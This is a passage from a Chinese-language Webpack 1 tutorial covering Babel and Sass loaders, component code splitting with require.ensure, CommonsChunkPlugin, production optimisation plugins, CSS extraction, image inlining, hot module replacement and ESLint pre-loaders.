ES2015，因此我们先添加第一个 loader: Babel。要在 Webpack 安装 loader，需要两个步骤：输入命令 `npm install {whatever}-loader`，并在配置文件的 `module.loaders` 部分添加信息，如下所示，先安装 Babel：\n\n\n\n    $ npm install babel-loader --save-dev\n\n\n\n注意 babel loader 并不会自动安装 babel，所以我们还需要安装 Babel 本身的 `babel-core` 包，以及我们需要的 `es2015` preset：\n\n\n\n    $ npm install babel-core babel-preset-es2015 --save-dev\n\n\n\n现在我们要创建一个 `.babelrc` 文件，告诉 Babel 使用哪个 preset。这是一个简单的 JSON 文件，允许你配置 Babel 使用哪些转换器来转换你的代码 —— 在我们的例子里使用的就是 `es2015` preset。\n\n\n**.babelrc** `{ \"presets\": [\"es2015\"] }`\n\n现在 Babel 已经安装配置好，我们可以修改 Webpack 配置了：我们想要 Babel 作用在所有 `.js` 文件里，**但是** 因为 Webpack 会遍历所有依赖，我们要避免 Babel 作用在 jQuery 这些第三方库。因此，我们可以加上过滤规则。Loaders 可以同时包含 `include` 或者 `exclude` 规则，它们的值可以是字符串、正则表达式、回调函数或者其它你想要的东西。在我们的例子中，我们想要 Babel 只作用在我们自己写的文件里，所以加上 `include` 规则，让它只作用在我们的源代码目录里。\n\n\n\n    module.exports = {\n        entry:  './src',\n        output: {\n            path:     'builds',\n            filename: 'bundle.js',\n        },\n        module: {\n            loaders: [\n                {\n                    test:   /\\.js/,\n                    loader: 'babel',\n                    include: __dirname + '/src',\n                }\n            ],\n        }\n    };\n\n\n\n由于引入了 Babel，现在我们可以用 ES6 重写 `index.js` 了，从现在开始我们都使用 ES6 语法。\n\n\n\n    import $ from 'jquery';\n\n    $('body').html('Hello');\n\n\n\n### 写一个小组件\n\n我们现在来写一个小的按钮组件，它包含某些 SCSS 样式，一个 HTML 模板和一些行为。现在先安装依赖，我们使用 Mustache，它是一个轻量级的模板包，但我们还需要 Sass 和 HTML 文件的 loaders。由于结果是从一个 loader 向另一个 loader 管道式传递的，我们还需要 CSS loader 来处理 Sass loader 的输出结果。现在我们有了 CSS 资源，可以通过多种方式来处理它们，目前，我们会使用一个 `style-loader` ，它可以读取 CSS 文件，动态注入到页面中。\n\n\n\n    $ npm install mustache --save\n    $ npm install css-loader style-loader html-loader sass-loader node-sass --save-dev\n\n\n\n现在，为了告诉 Webpack 从一个 loader 向另一个 loader 管道式地传送文件，我们从右到左把 loader 串联起来，中间通过 `!` 分隔。或者你也可以使用一个数组作为值，然后用 `loaders` 属性代替 `loader`。\n\n\n\n    {\n        test:    /\\.js/,\n        loader:  'babel',\n        include: __dirname + '/src',\n    },\n    {\n        test:   /\\.scss/,\n        loader: 'style!css!sass',\n        // 或者\n        loaders: ['style', 'css', 'sass'],\n    },\n    {\n        test:   /\\.html/,\n        loader: 'html',\n    }\n\n\n\n现在我们已经把 loader 放在合适位置了，是时候开始写我们的按钮了：\n\n**src/Components/Button.scss**\n\n\n\n    .button {\n      background: tomato;\n      color: white;\n    }\n\n\n\n**src/Components/Button.html**\n\n\n\n     class=\"button\" href=\"{{link}}\">{{text}}\n\n\n\n**src/Components/Button.js**\n\n\n\n    import $ from 'jquery';\n    import template from './Button.html';\n    import Mustache from 'mustache';\n    import './Button.scss';\n\n    export default class Button {\n        constructor(link) {\n            this.link = link;\n        }\n\n        onClick(event) {\n            event.preventDefault();\n            alert(this.link);\n        }\n\n        render(node) {\n            const text = $(node).text();\n\n            // 渲染按钮\n            $(node).html(\n                Mustache.render(template, {text})\n            );\n\n            // 绑定事件\n            $('.button').click(this.onClick.bind(this));\n        }\n    }\n\n\n\n你的 `Button.js` 现在是 100% 完全独立的，不管在何时引入和怎样的上下文中运行，它都能运用手上所有工具正确地调用和渲染。现在，我们只需要在页面中渲染我们的按钮就可以了（虽然这种写法很不优雅）。\n\n**src/index.js**\n\n```js\nimport Button from './Components/Button';\n\nconst button = new Button('google.com');\n\nbutton.render('a');\n```\n\n现在运行 Webpack 然后刷新页面，你应该能看到页面中出现了一个丑丑的按钮了。\n\n![](http://i.imgur.com/8Ov1x2P.png)\n\n现在你学会了如何设置 loaders 以及如何定义 app 中每个部分的依赖关系。虽然现在看起来还没多大用途，但是我们将继续改进代码。\n\n### 代码分离\n\n上述的例子虽好，但是有时候我们不需要用到按钮，可能某些页面里不存在 `a` 标签让按钮放在那儿，在这种情况下，我们可不想引入所有的按钮样式、模板、Mustache 等各种东西，对吧？这时候代码分离就起作用了。代码分离，正是 Webpack 对于 “整个模块” 和 “不可维护的手动引入” 给出的答案。其思路就是可以在代码中定义“分离点”：这部分代码将被分离成一个独立的文件，按需加载。其语法非常简单：\n\n\n\n    import $ from 'jquery';\n\n    // 这里就是分离点\n    require.ensure([], () => {\n      // 把所有代码和需要引入的内容放在这里\n      // 这里的代码最终会分离到一个独立的文件中\n      const library = require('some-big-library');\n      $('foo').click(() => library.doSomething());\n    });\n\n\n\n`require.ensure` 回调函数里面的所有内容，会被分离成一个_数据块（chunk）_ —— Webpack 只有在页面需要时，才会通过 AJAX 按需加载这部分内容。这意味着我们的代码结构变成了这样：\n\n\n    bundle.js\n    |- jquery.js\n    |- index.js // 主文件\n    chunk1.js\n    |- some-big-libray.js\n    |- index-chunk.js // Callback 里的代码\n\n\n\n你不需要在任何地方引入或者加载 `chunk1.js` 文件，Webpack 会在页面真正需要这部分代码时按需加载。这意味着你可以把许多不同的代码逻辑包裹成不同的块，在我们的例子中，我们想要的是在页面包含 a 标签时才引入 Button 的代码：\n\n**src/index.js**\n\n\n\n    if (document.querySelectorAll('a').length) {\n        require.ensure([], () => {\n            const Button = require('./Components/Button').default;\n            const button = new Button('google.com');\n\n            button.render('a');\n        });\n    }\n\n\n\n要注意的是，使用 `require` 时，如果你想要默认 export，你需要手动包裹在 `.default` 里，因为 `require` 不会同时处理默认 export 和其它的 export，你需要指定 return 哪些内容。然而 `import` 对此有一个系统，它可以处理得很好（比如 `import foo from 'bar'` 和 `import {baz} from 'bar'`）。\n\nWebpack 的输出现在应该发生了相应的变化，我们可以在命令加上 `--display-chunks` 参数，看看哪些模块在哪个 chunk 里面：\n\n\n\n    $ webpack --display-modules --display-chunks\n    Hash: 43b51e6cec5eb6572608\n    Version: webpack 1.12.14\n    Time: 1185ms\n          Asset     Size  Chunks             Chunk Names\n      bundle.js  3.82 kB       0  [emitted]  main\n    1.bundle.js   300 kB       1  [emitted]\n    chunk    {0} bundle.js (main) 235 bytes [rendered]\n        [0] ./src/index.js 235 bytes {0} [built]\n    chunk    {1} 1.bundle.js 290 kB {0} [rendered]\n        [1] ./src/Components/Button.js 1.94 kB {1} [built]\n        [2] ./~/jquery/dist/jquery.js 259 kB {1} [built]\n        [3] ./src/Components/Button.html 72 bytes {1} [built]\n        [4] ./~/mustache/mustache.js 19.4 kB {1} [built]\n        [5] ./src/Components/Button.scss 1.05 kB {1} [built]\n        [6] ./~/css-loader!./~/sass-loader!./src/Components/Button.scss 212 bytes {1} [built]\n        [7] ./~/css-loader/lib/css-base.js 1.51 kB {1} [built]\n        [8] ./~/style-loader/addStyles.js 7.21 kB {1} [built]\n\n\n\n正如你看到的那样，我们的入口点 (`bundle.js`) 现在只包含了 Webpack 本身的一些逻辑，其它内容 (jQuery, Mustache, Button) 放在了 `1.bundle.js` 块中，只会在页面包含 a 标签时才会引入。现在，为了让 Webpack 知道在哪里找到这个块，然后通过 AJAX 引入，我们需要在配置文件里多加一行：\n\n\n\n    path:       'builds',\n    filename:   'bundle.js',\n    publicPath: 'builds/',\n\n\n\n`output.publicPath` 选项告诉 Webpack 在哪里可以找到生成的静态资源，其路径相对于我们的视图页面（所以在我们的例子里是 /builds/）。如果我们打开页面，效果依然相同，但更重要的是，我们会看到页面包含 a 标签时，Webpack 才会加载我们的块。\n\n![](http://i.imgur.com/rPvIRiB.png)\n\n如果页面里没有 a 标签，只会加载 `bundle.js` 文件。这种做法允许你智能地分离出一些繁重的逻辑，让它们在页面真正需要时，才按需加载进来。值得注意的是，我们可以给分离点起个名字，替换原来的 `1.bundle.js` ，使得块名更加有意义。你可以通过给 `require.ensure` 传递第三个参数来做到这点：\n\n\n\n    require.ensure([], () => {\n        const Button = require('./Components/Button').default;\n        const button = new Button('google.com');\n\n        button.render('a');\n    }, 'button');\n\n\n\n这样生成的文件名将会是 `button.bundle.js` 而非 `1.bundle.js`。\n\n### 添加第二个组件\n\n现在一切都不错，我们试着添加第二个组件：\n\n**src/Components/Header.scss**\n\n\n\n    .header {\n      font-size: 3rem;\n    }\n\n\n\n**src/Components/Header.html**\n\n\n\n     class=\"header\">{{text}}\n\n\n\n**src/Components/Header.js**\n\n\n\n    import $ from 'jquery';\n    import Mustache from 'mustache';\n    import template from './Header.html';\n    import './Header.scss';\n\n    export default class Header {\n        render(node) {\n            const text = $(node).text();\n\n            $(node).html(\n                Mustache.render(template, {text})\n            );\n        }\n    }\n\n\n\n然后在应用里渲染它:\n\n\n\n    // 如果有 a 标签，渲染按钮\n    if (document.querySelectorAll('a').length) {\n        require.ensure([], () => {\n            const Button = require('./Components/Button');\n            const button = new Button('google.com');\n\n            button.render('a');\n        });\n    }\n\n    // 如果有 h1 标签，渲染页眉\n    if (document.querySelectorAll('h1').length) {\n        require.ensure([], () => {\n            const Header = require('./Components/Header');\n\n            new Header().render('h1');\n        });\n    }\n\n\n\n现在，使用 `--display-chunks --display-modules` 参数调用 Webpack：\n\n\n\n    $ webpack --display-modules --display-chunks\n    Hash: 178b46d1d1570ff8bceb\n    Version: webpack 1.12.14\n    Time: 1548ms\n          Asset     Size  Chunks             Chunk Names\n      bundle.js  4.16 kB       0  [emitted]  main\n    1.bundle.js   300 kB       1  [emitted]\n    2.bundle.js   299 kB       2  [emitted]\n    chunk    {0} bundle.js (main) 550 bytes [rendered]\n        [0] ./src/index.js 550 bytes {0} [built]\n    chunk    {1} 1.bundle.js 290 kB {0} [rendered]\n        [1] ./src/Components/Button.js 1.94 kB {1} [built]\n        [2] ./~/jquery/dist/jquery.js 259 kB {1} {2} [built]\n        [3] ./src/Components/Button.html 72 bytes {1} [built]\n        [4] ./~/mustache/mustache.js 19.4 kB {1} {2} [built]\n        [5] ./src/Components/Button.scss 1.05 kB {1} [built]\n        [6] ./~/css-loader!./~/sass-loader!./src/Components/Button.scss 212 bytes {1} [built]\n        [7] ./~/css-loader/lib/css-base.js 1.51 kB {1} {2} [built]\n        [8] ./~/style-loader/addStyles.js 7.21 kB {1} {2} [built]\n    chunk    {2} 2.bundle.js 290 kB {0} [rendered]\n        [2] ./~/jquery/dist/jquery.js 259 kB {1} {2} [built]\n        [4] ./~/mustache/mustache.js 19.4 kB {1} {2} [built]\n        [7] ./~/css-loader/lib/css-base.js 1.51 kB {1} {2} [built]\n        [8] ./~/style-loader/addStyles.js 7.21 kB {1} {2} [built]\n        [9] ./src/Components/Header.js 1.62 kB {2} [built]\n       [10] ./src/Components/Header.html 64 bytes {2} [built]\n       [11] ./src/Components/Header.scss 1.05 kB {2} [built]\n       [12] ./~/css-loader!./~/sass-loader!./src/Components/Header.scss 192 bytes {2} [built]\n\n\n\n你可能会发现一个相当重要的问题：我们的组件都依赖 jQuery 和 Mustache，这意味着这些依赖在我们的子块中重复出现了，这样的结果并不是我们想要的。默认情况下，Webpack 只会执行很少优化，但是它包含了强大的工具帮你改变这一状况，它就是_插件_。\n\n\n插件和 loader 的区别在于，插件作用在所有文件，执行更多高级操作，但这些操作不一定和转换相关；而 loader 只是作用在特定集合的文件，以及作为“管道”的一部分。Webpack 提供了一系列插件进行各种不同的优化，在这个例子中，**CommonChunksPlugin** 可以解决这个问题：它可以分析子块中的共同依赖，并提取出来放到其它地方，可以放在一个完全独立的文件（比如 `vendor.js`），或者在你的主文件中。\n\n在我们的例子里，我们打算把共同依赖放在主入口文件，因为如果所有页面都需要 jQuery 和 Mustache，我们可以把它们合起来。所以，现在我们更改一下配置文件：\n\n\n\n    var webpack = require('webpack');\n\n    module.exports = {\n        entry:   './src',\n        output:  {\n          // ...\n        },\n        plugins: [\n            new webpack.optimize.CommonsChunkPlugin({\n                name:      'main', // 把依赖移动到主文件\n                children:  true, // 寻找所有子模块的共同依赖\n                minChunks: 2, // 设置一个依赖被引用超过多少次就提取出来\n            }),\n        ],\n        module:  {\n          // ...\n        }\n    };\n\n\n\n如果我们再次运行 Webpack，可以看到情况已经发生了变化，这里 `main` 是默认的块的名字。\n\n\n\n    chunk    {0} bundle.js (main) 287 kB [rendered]\n        [0] ./src/index.js 550 bytes {0} [built]\n        [2] ./~/jquery/dist/jquery.js 259 kB {0} [built]\n        [4] ./~/mustache/mustache.js 19.4 kB {0} [built]\n        [7] ./~/css-loader/lib/css-base.js 1.51 kB {0} [built]\n        [8] ./~/style-loader/addStyles.js 7.21 kB {0} [built]\n    chunk    {1} 1.bundle.js 3.28 kB {0} [rendered]\n        [1] ./src/Components/Button.js 1.94 kB {1} [built]\n        [3] ./src/Components/Button.html 72 bytes {1} [built]\n        [5] ./src/Components/Button.scss 1.05 kB {1} [built]\n        [6] ./~/css-loader!./~/sass-loader!./src/Components/Button.scss 212 bytes {1} [built]\n    chunk    {2} 2.bundle.js 2.92 kB {0} [rendered]\n        [9] ./src/Components/Header.js 1.62 kB {2} [built]\n       [10] ./src/Components/Header.html 64 bytes {2} [built]\n       [11] ./src/Components/Header.scss 1.05 kB {2} [built]\n       [12] ./~/css-loader!./~/sass-loader!./src/Components/Header.scss 192 bytes {2} [built]\n\n\n\n如果我们特别指定 `name: 'vendor'`:\n\n\n\n    new webpack.optimize.CommonsChunkPlugin({\n        name:      'vendor',\n        children:  true,\n        minChunks: 2,\n    }),\n\n\n\n由于数据块还不存在，Webpack 会创建一个 `builds/vendor.js` 文件，我们需要在 HTML 中手动引入。\n\n\n```HTML\n<script src=\"builds/vendor.js\"></script>\n<script src=\"builds/bundle.js\"></script>\n```\n\n\n你也可以不指定块名称并加上  `async: true`，让共同的依赖异步加载。Webpack 还有很多这类型的强大智能优化的插件。我不可能把他们一一列举出来，但是作为练习，我们再来试试创建一个 _生产环境_ 版本的配置。\n\n### 生产环境和更多\n\nOk，首先我们要添加几个插件到配置文件里，但是仅当 `NODE_ENV` 的值是 `production` 的时候，才会加载它们，我们要在配置文件里添加一些逻辑，由于配置文件是 JS 语法，所以很简单：\n\n\n\n    var webpack    = require('webpack');\n    var production = process.env.NODE_ENV === 'production';\n\n    var plugins = [\n        new webpack.optimize.CommonsChunkPlugin({\n            name:      'main', // 把依赖移动到主文件\n            children:  true, // 寻找所有子模块的共同依赖\n            minChunks: 2, // 设置一个依赖被引用超过多少次就提取出来\n        }),\n    ];\n\n    if (production) {\n        plugins = plugins.concat([\n           // Production plugins go here\n        ]);\n    }\n\n    module.exports = {\n        entry:   './src',\n        output:  {\n            path:       'builds',\n            filename:   'bundle.js',\n            publicPath: 'builds/',\n        },\n        plugins: plugins,\n        // ...\n    };\n\n\n\n其次，Webpack 还有一些相关设置，我们要在生产环境里关闭掉：\n\n\n\n    module.exports = {\n        debug:   !production,\n        devtool: production ? false : 'eval',\n\n\n\n第一个设置是关于 loader 的调试模式，如果关闭，意味着方便本地调试的那部分代码不会包含到代码中。第二个设置是关于 sourcemap 的生成，Webpack 有 [几种方法](http://webpack.github.io/docs/configuration.html#devtool) 生成 [sourcemaps](http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/)，`eval` 在本地环境下是最佳选择。在生产环境中，我们不需要用到 sourcemap 所以可以把选项关掉。现在，添加我们的生产环境插件：\n\n\n\n    if (production) {\n        plugins = plugins.concat([\n\n            // 这个插件搜索相似的块与文件并合并它们\n            new webpack.optimize.DedupePlugin(),\n\n            // 这个插件通过计算子块和模块的使用次数进行优化\n            new webpack.optimize.OccurenceOrderPlugin(),\n\n            // 这个插件在子块文件太小时，会阻止生成，因为不值得独立加载\n            new webpack.optimize.MinChunkSizePlugin({\n                minChunkSize: 51200, // ~50kb\n            }),\n\n            // 这个插件对最终生成的 JS 代码进行 Uglify\n            new webpack.optimize.UglifyJsPlugin({\n                mangle:   true,\n                compress: {\n                    warnings: false, // Suppress uglification warnings\n                },\n            }),\n\n            // 这个插件定义了不同变量，我们可以在生成环境关闭一些变量\n            // 避免调试代码被编译到我们最终的包里\n            new webpack.DefinePlugin({\n                __SERVER__:      !production,\n                __DEVELOPMENT__: !production,\n                __DEVTOOLS__:    !production,\n                'process.env':   {\n                    BABEL_ENV: JSON.stringify(process.env.NODE_ENV),\n                },\n            }),\n\n        ]);\n    }\n\n\n\n以上是我最常使用的插件，不过 Webpack 还提供了很多其它插件，供你协调你的模块和数据块。此外，还有一部分用户贡献的插件，可以在 NPM 上找到，供你完成更多的事情。一些插件的链接可以在本文末尾找到。\n\n现在还有另一个问题，理想情况下，我们想要静态资源带上版本号。还记得我们设置 `output.filename` 为 `bundle.js` 吗？事实上有一些选项可以用在变量里，其中一个是 `[hash]`，对应着最终打包生成的文件内容的哈希值，我们改变一下这个设置。此外，我们还想要 `output.chunkFilename` 也带上版本号：\n\n\n\n    output: {\n        path:          'builds',\n        filename:      production ? '[name]-[hash].js' : 'bundle.js',\n        chunkFilename: '[name]-[chunkhash].js',\n        publicPath:    'builds/',\n    },\n\n\n\n在这个简单的应用里，我们不想要动态取得编译出来的包名字，我们只会在生产环境里打上版本号，比如，我们可能想要在打包生产环境代码前，清理 builds 文件夹，这时候我们要安装一个第三方插件来完成这个事情：\n\n\n\n    $ npm install clean-webpack-plugin --save-dev\n\n\n\n然后添加到配置文件中：\n\n\n\n    var webpack     = require('webpack');\n    var CleanPlugin = require('clean-webpack-plugin');\n\n    // ...\n\n    if (production) {\n        plugins = plugins.concat([\n\n            // 在编译最终的静态资源之前，清理 builds/ 文件夹\n            new CleanPlugin('builds'),\n\n\n\n现在我们完成了很棒的优化了，对比看看结果：\n\n\n\n    $ webpack\n                    bundle.js   314 kB       0  [emitted]  main\n    1-21660ec268fe9de7776c.js  4.46 kB       1  [emitted]\n    2-fcc95abf34773e79afda.js  4.15 kB       2  [emitted]\n\n\n\n\n\n    $ NODE_ENV=production webpack\n    main-937cc23ccbf192c9edd6.js  97.2 kB       0  [emitted]  main\n\n\n\nWebpack 完成了这些事情：首先，由于我们的例子非常轻量级，我们的两个异步子块不值得额外 HTTP 请求，因此 Webpack 把它们和入口模块合在一起了。其次，所有内容都被压缩了，我们从三个 HTTP 请求，共 322kb，缩减到一个 HTTP 请求，仅 97kb。\n\n> 但是 Webpack 生成了一个庞大的 JS 文件呀？\n\n确实如此，不过这是由于我们的 app 非常小。试想：之前你不需要过多考虑合并什么、何时在哪合并。但是如果你的子块突然要依赖更多东西，子块或许会变为异步加载而不会被合并，如果这些子块的内容相似，不值得异步加载，那还不如合并起来。用上 Webpack，你只需要设置规则，从那以后，Webpack 会自动帮助你优化应用，不需要手工劳动，也不需要考虑依赖放在哪，所有事情都变成了自动完成。\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f4i100zj8gg206x04kaim.gif)\n\n你可能注意到，我没有设置压缩 HTML 和 CSS，因为 `css-loader` 和 `html-loader` 在 `debug` 为 `false` 时，默认会完成这个工作，这也是 Uglify 单独拿出来做插件的原因：Webpack 并没有  `js-loader`，因为 Webpack 本身就是处理 JS 的。\n\n### 提取\n\n现在你可能会注意到，从一开始我们的样式就被动态地注入到页面里，导致页面加载完成前，样式会闪烁(Flash of Ugly Ass Page, FOUAP)。如果我们能把所有样式也打包成一个单独的 CSS 文件，不就更好吗？我们引入一个额外的插件来做这件事情：\n\n\n\n    $ npm install extract-text-webpack-plugin --save-dev\n\n\n\n这个插件的作用正如我刚才所说的，从最终的文件包里拿出某些内容，导出的别的地方，最常见的用例就是 CSS，修改一下配置：\n\n\n\n    var webpack    = require('webpack');\n    var CleanPlugin = require('clean-webpack-plugin');\n    var ExtractPlugin = require('extract-text-webpack-plugin');\n    var production = process.env.NODE_ENV === 'production';\n\n    var plugins = [\n        new ExtractPlugin('bundle.css'), //\n        new webpack.optimize.CommonsChunkPlugin({\n            name:      'main', // 把依赖移动到主文件\n            children:  true, // 寻找所有子模块的共同依赖\n            minChunks: 2, // 设置一个依赖被引用超过多少次就提取出来\n        }),\n    ];\n\n    // ...\n\n    module.exports = {\n        // ...\n        plugins: plugins,\n        module:  {\n            loaders: [\n                {\n                    test:   /\\.scss/,\n                    loader: ExtractPlugin.extract('style', 'css!sass'),\n                },\n                // ...\n            ],\n        }\n    };\n\n\n\n现在 `extract` 方法接收两个参数：第一个我们在子块里 (`'style'`) 对提取出的内容做什么；第二个是在主文件 (`'css!sass'`) 里面对内容做什么。现在如果我们在子块里，我们不能像以前那样直接添加 CSS，需要使用 `style` loader，但对于所有主文件里的 CSS，导出到 `builds/bundle.css` 文件。让我们来试一试，在应用里添加一点主样式：\n\n\n**src/styles.scss**\n\n\n\n    body {\n      font-family: sans-serif;\n      background: darken(white, 0.2);\n    }\n\n\n\n**src/index.js**\n\n\n\n    import './styles.scss';\n\n    // 文件的剩余部分\n\n\n\n运行 Wepback，并确保在 HTML 里引入了 `bundle.css` 文件：\n\n\n    $ webpack\n                    bundle.js    318 kB       0  [emitted]  main\n    1-a110b2d7814eb963b0b5.js   4.43 kB       1  [emitted]\n    2-03eb25b4d6b52a50eb89.js    4.1 kB       2  [emitted]\n                   bundle.css  59 bytes       0  [emitted]  main\n\n\n\n如果你还想提取子块的样式，你可以传递 `ExtractTextPlugin('bundle.css', {allChunks: true})` 选项。注意你也可以在文件名使用变量，如果你想要样式表带上版本号，和 JS 文件一样，使用 `ExtractTextPlugin('[name]-[hash].css')` 选项。\n\n### 带上图片\n\n现在我们能很好地处理 JS 文件了，但是我们还没涉及到具体的静态资源：图片、字体等。Webpack 是如果在上下文中处理这些资源，我们又可以做什么优化呢？让我们在网上拿一张图片，用作背景图。我在 [Geocities](https://www.google.com/search?q=Geocities&tbm=isch) 看见别人这么做了，看着挺酷：\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f4i0mf8uwuj203k03kq2r.jpg)\n\n把图片保存为 `img/puppy.jpg`，并对应更新 Sass 文件：\n\n**src/styles.scss**\n\n\n\n    body {\n        font-family: sans-serif;\n        background: darken(white, 0.2);\n        background-image: url('../img/puppy.jpg');\n        background-size: cover;\n    }\n\n\n\n现在如果你这么做，Webpack 会义正言辞地告诉你：“我压根不知道怎么处理 JPG 文件啊！”，因为没有合适的 loader 来处理它。我们有两个选择来处理这些资源： `file-loader` 和 `url-loader`：第一个会给静态资源返回一个 URL，不作其它更改，并允许你给文件加上版本号（这也是默认行为）；第二个会把资源转化成 `data:image/jpeg;base64` 格式。\n\n实际上没有绝对的对与错：如果背景是 2Mb 大小的图片，你可能不会把它内联，分开加载比较合理；如果是 2kb 的小图标文件，最好转为 base64 以节省 HTTP 请求，所以我们两个一起用：\n\n\n\n    $ npm install url-loader file-loader --save-dev\n\n\n\n\n\n    {\n        test:   /\\.(png|gif|jpe?g|svg)$/i,\n        loader: 'url?limit=10000',\n    },\n\n\n\n这里，我们传递了一个 `limit` 参数给 `url-loader` ，告诉 Webpack：如果文件小于 10kb 则内联，否则 fallback 给 `file-loader` 作处理。这种语法称为查询字符串，你可以用来配置 loader，或者你也可以通过写一个对象来配置：\n\n\n\n    {\n        test:   /\\.(png|gif|jpe?g|svg)$/i,\n        loader: 'url',\n        query: {\n          limit: 10000,\n        }\n    }\n\n\n\n现在看看效果：\n\n\n\n                    bundle.js   15 kB       0  [emitted]  main\n    1-b8256867498f4be01fd7.js  317 kB       1  [emitted]\n    2-e1bc215a6b91d55a09aa.js  317 kB       2  [emitted]\n                   bundle.css  2.9 kB       0  [emitted]  main\n\n\n\n我们可以看到，没有提及到 JPG 文件，因为我们的小狗图片比配置的大小要小，所以被内联了。这意味着如果我们打开页面，我们就可以看到小狗图片了。\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f4i0nf5qr1j20gz0n30w3.jpg)\n\n现在我们的 Webpack 已经很强大了，因为它可以智能地优化任何具体资源，以减少 HTTP 请求的频率和流量。使用 [image-loader](https://github.com/tcoopman/image-webpack-loader) 你还可以做更多优化工作，比如构建时传递 `imagemin` 参数，它甚至还有 `?bypassOnDebug` 查询字符串，允许你在生产环境才那么做。事实上还有很多类似插件，我鼓励你看完这篇文章后，再翻一翻文件结尾的列表。\n\n### 实时更新\n\n现在我们兼顾到了生产环境，把目光放回到开发环境。当提及到构建工具时，总有一个大坑需要填：实时刷新。LiveReload, BrowserSync 等，不管你喜欢用什么，等待整个页面重新刷新总是非常烦人，更好的做法是 _模块热替换（HMR，hot module replacement）_ 或者 _热刷新_。我们的想法是，由于 Webpack 清晰知道每个模块在依赖树的位置，发生更改时，只需要更换发生变化的那部分就好了。更清晰的想法是：你的更改实时反应在屏幕上，不需要刷新页面。\n\n\n为了用上 HMR，我们需要一个 server 来处理资源热替换。Webpack 提供了 `dev-server` 解决这个问题，我们可以安装它：\n\n\n\n    $ npm install webpack-dev-server --save-dev\n\n\n\n现在运行 dev server，非常简单，只需一条命令：\n\n\n\n    $ webpack-dev-server --inline --hot\n\n\n\n第一个参数告诉 Webpack，把 HMR 逻辑内联到页面（而不是在 iframe 中呈现页面），第二个参数是启用 HMR。现在打开服务器地址 `http://localhost:8080/webpack-dev-server/`，再试试修改 Sass 文件，见证奇迹的时刻：\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f4i10s9casg20i006w48b.gif)\n\n现在你可以把 webpack-dev-server 当作本地服务器了，如果你打算一直使用 HMR，你可以在配置文件里作修改：\n\n\n\n    output: {\n        path:          'builds',\n        filename:      production ? '[name]-[hash].js' : 'bundle.js',\n        chunkFilename: '[name]-[chunkhash].js',\n        publicPath:    'builds/',\n    },\n    devServer: {\n        hot: true,\n    },\n\n\n\n现在无论何时运行 `webpack-dev-server` 它总是在 HMR 模式中。注意我们在这里只是使用 `webpack-dev-server` 来处理热加载，但是你还可以用一些其它选项，用法就像 Express 的服务器那样。Webpack 还提供了一个中间件，使得你可以添加 HMR 功能给其它服务器。\n\n### 添加语法检查\n\n如果你一直紧跟教程，你可能留意到一个奇怪的问题：为什么 loaders 是嵌套在 `module.loaders` 而插件不是呢？因为你还可以在 `module` 放入其他东西。Webpack 除了 loaders，还有 pre-loaders 和 post-loaders，也就是在主 loaders 前后执行的内容。比如：这篇文章里的代码量很大，我们在转换前，需要借助 ESLint 来检测代码：\n\n\n\n    $ npm install eslint eslint-loader babel-eslint --save-dev\n\n\n\n先创建一个 `.eslintrc` 文件，定义一个肯定不能通过的规则：\n\n**.eslintrc**\n\n\n\n    parser: 'babel-eslint'\n    rules:\n      quotes: 2\n\n\n\n现在添加 pre-loader，和前面的语法一样，但是放在 `module.preLoaders` 中：\n\n\n\n    module:  {\n        preLoaders: [\n            {\n                test: /\\.js/,\n                loader: 'eslint',\n            }\n        ],\n\n\n\n现在运行 Webpack，果然构建失败了：\n\n\n\n    $ webpack\n    Hash: 33cc307122f0a9608812\n    Version: webpack 1.12.2\n    Time: 1307ms\n                        Asset      Size  Chunks             Chunk Names\n                    bundle.js    305 kB       0  [emitted]  main\n    1-551ae2634fda70fd8502.js    4.5 kB       1  [emitted]\n    2-999713ac2cd9c7cf079b.js   4.17 kB       2  [emitted]\n                   bundle.css  59 bytes       0  [emitted]  main\n        + 15 hidden modules\n\n    ERROR in ./src/index.js\n\n    /Users/anahkiasen/Sites/webpack/src/index.js\n       1:8   error  Strings must use doublequote  quotes\n       4:31  error  Strings must use doublequote  quotes\n       6:32  error  Strings must use doublequote  quotes\n       7:35  error  Strings must use doublequote  quotes\n       9:23  error  Strings must use doublequote  quotes\n      14:31  error  Strings must use doublequote  quotes\n      16:32  error  Strings must use doublequote  quotes\n      18:29  error  Strings must use doublequote  quotes\n\n\n\n再举一个 pre-loader 的例子：对于每个组件，我们都输入和组件名字相同的样式表以及模板，使用一个 pre-loader 可以自动地帮我完成这个工作：\n\n\n\n    $ npm install baggage-loader --save-dev\n\n\n\n\n\n    {\n        test: /\\.js/,\n        loader: 'baggage?[file].html=template&[file].scss',\n    }\n\n\n\n这个配置告诉 Webpack：如果遇到一个同名的 HTML 文件和 Sass 文件，作为模板和样式引入进来，现在可以把组件代码从：\n\n\n\n    import $ from 'jquery';\n    import template from './Button.html';\n    import Mustache from 'mustache';\n    import './Button.scss';\n\n\n\n改为：\n\n\n\n    import $ from 'jquery';\n    import Mustache from 'mustache';\n\n\n\n正如你看到的那样，pre-loaders 非常强大，而 post-loaders 也一样。在文章最后的列表中搜索一下，相信你会找到许多 post-loaders 的适用场景。\n\n### 还想知道更多？\n\n现在我们的应用还很轻量，但是一旦应用变得更加复杂，我们可能需要观察依赖树的情况，以便分析有什么做得好的和不合理的，以及应用的瓶颈等。Webpack 内部对此很了解，因此我们可以向 Webpack 了解更多，通过以下命令生成一个 _描述文件（profile file）_ ：\n\n\n\n    webpack --profile --json > stats.json\n\n\n\n第一个参数告诉 Webpack 生成配置文件，第二个参数是生成 JSON 格式，最终把所有内容输出到一个 JSON 文件中。现在有多个网站可以解析 profile 文件，Webpack 也有官方网站来分析信息。打开 [Webpack Analyze](http://webpack.github.io/analyse/) 并上传你的 JSON 文件，在 **Modules** 标签页，你可以看到依赖树的可视化结果：\n\n![](http://ww2.sinaimg.cn/large/a490147fjw1f4i0piefhaj20or0kvmyk.jpg)\n\n点的颜色越红，说明问题越大。这里把 jQuery 标红，因为它是我们所有模块中最重的。顺便看看其它标签页，你可能不会在我们的小应用里看到什么有价值的信息，但是这个工具对于了解依赖树和最终的包内容是非常重要的。现在正如我说的那样，其它网站服务也提供类似功能，比如我喜欢的是 [Webpack Visualizer](http://chrisbateman.github.io/webpack-visualizer/)，提供了环形图来显示你的包里面什么东西最占空间，在我们的例子里当然是 jQuery 